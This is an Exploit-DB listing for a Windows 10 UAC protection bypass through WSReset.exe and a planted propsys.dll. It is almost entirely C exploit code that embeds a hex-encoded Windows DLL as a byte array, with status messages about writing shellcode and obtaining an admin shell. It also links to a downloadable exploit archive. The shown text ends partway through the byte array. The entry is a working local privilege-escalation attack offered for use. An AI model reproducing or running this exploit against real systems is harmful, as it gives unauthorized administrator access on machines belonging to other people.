Exploit-DB #47755
Description: Microsoft Windows 10 - 'WSReset' UAC Protection Bypass (propsys.dll)
Type: local
Platform: windows
Date: 2019-09-20
Author: valen

Exploit:
// ref : https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
#include<stdio.h>
// uac bypass via wsreset.exe
// @404death
// EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47755.zip

int main()

{
   printf("\n[+] Run First UAC.bat if immediately stopped !!!!\n\n");
   printf("[-] Writing shellcode to Inject !!!\n");
   printf("[-] Wait a few second to get the Admin Shell !!!\n");
   printf("[-] Trying to Popup pwning MessageBox !!!\n");

   unsigned char bin[] = { 0x4d ,0x5a ,0x90 ,0x00 ,0x03 ,0x00 ,0x00 ,0x00 ,0x04 ,0x00 ,0x00 ,0x00 ,0xff ,0xff ,0x00 ,0x00 ,0xb8 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x80 ,0x00 ,0x00 ,0x00 ,0x0e ,0x1f ,0xba ,0x0e ,0x00 ,0xb4 ,0x09 ,0xcd ,0x21 ,0xb8 ,0x01 ,0x4c ,0xcd ,0x21 ,0x54 ,0x68 ,0x69 ,0x73 ,0x20 ,0x70 ,0x72 ,0x6f ,0x67 ,0x72 ,0x61 ,0x6d ,0x20 ,0x63 ,0x61 ,0x6e ,0x6e ,0x6f ,0x74 ,0x20 ,0x62 ,0x65 ,0x20 ,0x72 ,0x75 ,0x6e ,0x20 ,0x69 ,0x6e ,0x20 ,0x44 ,0x4f ,0x53 ,0x20 ,0x6d ,0x6f ,0x64 ,0x65 ,0x2e ,0x0d ,0x0d ,0x0a ,0x24 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x50 ,0x45 ,0x00 ,0x00 ,0x64 ,0x86 ,0x11 ,0x00 ,0x07 ,0x9f ,0x5e ,0x5d ,0x00 ,0x6a ,0x00 ,0x00 ,0xb1 ,0x03 ,0x00 ,0x00 ,0xf0 ,0x00 ,0x26 ,0x20 ,0x0b ,0x02 ,0x02 ,0x1e ,0x00 ,0x1c ,0x00 ,0x00 ,0x00 ,0x38 ,0x00 ,0x00 ,0x00 ,0x0a ,0x00 ,0x00 ,0x30 ,0x13 ,0x00 ,0x00 ,0x00 ,0x10 ,0x00 ,0x00 ,0x00 ,0x00 ,0xcc ,0x68 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x10 ,0x00 ,0x00 ,0x00 ,0x02 ,0x00 ,0x00 ,0x04 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x05 ,0x00 ,0x02 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x01 ,0x00 ,0x00 ,0x06 ,0x00 ,0x00 ,0x4e ,0xec ,0x00 ,0x00 ,0x02 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x20 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x10 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x10 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x10 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x10 ,0x00 ,0x00 ,0x00 ,0x00 ,0x80 ,0x00 ,0x00 ,0x46 ,0x00 ,0x00 ,0x00 ,0x00 ,0x90 ,0x00 ,0x00 ,0x20 ,0x06 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x50 ,0x00 ,0x00 ,0x28 ,0x02 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0xc0 ,0x00 ,0x00 ,0x64 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0xa0 ,0x40 ,0x00 ,0x00 ,0x28 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x98 ,0x91 ,0x00 ,0x00 ,0x48 ,0x01 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x2e ,0x74 ,0x65 ,0x78 ,0x74 ,0x00 ,0x00 ,0x00 ,0xf8 ,0x1a ,0x00 ,0x00 ,0x00 ,0x10 ,0x00 ,0x00 ,0x00 ,0x1c ,0x00 ,0x00 ,0x00 ,0x06 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x60 ,0x00 ,0x50 ,0x60 ,0x2e ,0x64 ,0x61 ,0x74 ,0x61 ,0x00 ,0x00 ,0x00 ,0x80 ,0x00 ,0x00 ,0x00 ,0x00 ,0x30 ,0x00 ,0x00 ,0x00 ,0x02 ,0x00 ,0x00 ,0x00 ,0x22 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x50 ,0xc0 ,0x2e ,0x72 ,0x64 ,0x61 ,0x74 ,0x61 ,0x00 ,0x00 ,0x20 ,0x03 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x00 ,0x00 ,0x04 ,0x00 ,0x00 ,0x00 ,0x24 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x60 ,0x40 ,0x2e ,0x70 ,0x64 ,0x61 ,0x74 ,0x61 ,0x00 ,0x00 ,0x28 ,0x02 ,0x00 ,0x00 ,0x00 ,0x50 ,0x00 ,0x00 ,0x00 ,0x04 ,0x00 ,0x00 ,0x00 ,0x28 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x30 ,0x40 ,0x2e ,0x78 ,0x64 ,0x61 ,0x74 ,0x61 ,0x00 ,0x00 ,0xac ,0x01 ,0x00 ,0x00 ,0x00 ,0x60 ,0x00 ,0x00 ,0x00 ,0x02 ,0x00 ,0x00 ,0x00 ,0x2c ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x30 ,0x40 ,0x2e ,0x62 ,0x73 ,0x73 ,0x00 ,0x00 ,0x00 ,0x00 ,0x20 ,0x09 ,0x00 ,0x00 ,0x00 ,0x70 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x80 ,0x00 ,0x60 ,0xc0 ,0x2e ,0x65 ,0x64 ,0x61 ,0x74 ,0x61 ,0x00 ,0x00 ,0x46 ,0x00 ,0x00 ,0x00 ,0x00 ,0x80 ,0x00 ,0x00 ,0x00 ,0x02 ,0x00 ,0x00 ,0x00 ,0x2e ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x30 ,0x40 ,0x2e ,0x69 ,0x64 ,0x61 ,0x74 ,0x61 ,0x00 ,0x00 ,0x20 ,0x06 ,0x00 ,0x00 ,0x00 ,0x90 ,0x00 ,0x00 ,0x00 ,0x08 ,0x00 ,0x00 ,0x00 ,0x30 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x30 ,0xc0 ,0x2e ,0x43 ,0x52 ,0x54 ,0x00 ,0x00 ,0x00 ,0x00 ,0x58 ,0x00 ,0x00 ,0x00 ,0x00 ,0xa0 ,0x00 ,0x00 ,0x00 ,0x02 ,0x00 ,0x00 ,0x00 ,0x38 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x40 ,0xc0 ,0x2e ,0x74 ,0x6c ,0x73 ,0x00 ,0x00 ,0x00 ,0x00 ,0x10 ,0x00 ,0x00 ,0x00 ,0x00 ,0xb0 ,0x00 ,0x00 ,0x00 ,0x02 ,0x00 ,0x00 ,0x00 ,0x3a ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x40 ,0xc0 ,0x2e ,0x72 ,0x65 ,0x6c ,0x6f ,0x63 ,0x00 ,0x00 ,0x64 ,0x00 ,0x00 ,0x00 ,0x00 ,0xc0 ,0x00 ,0x00 ,0x00 ,0x02 ,0x00 ,0x00 ,0x00 ,0x3c ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x30 ,0x42 ,0x2f ,0x34 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x50 ,0x00 ,0x00 ,0x00 ,0x00 ,0xd0 ,0x00 ,0x00 ,0x00 ,0x02 ,0x00 ,0x00 ,0x00 ,0x3e ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x50 ,0x42 ,0x2f ,0x31 ,0x39 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x08 ,0x1f ,0x00 ,0x00 ,0x00 ,0xe0 ,0x00 ,0x00 ,0x00 ,0x20 ,0x00 ,0x00 ,0x00 ,0x40 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00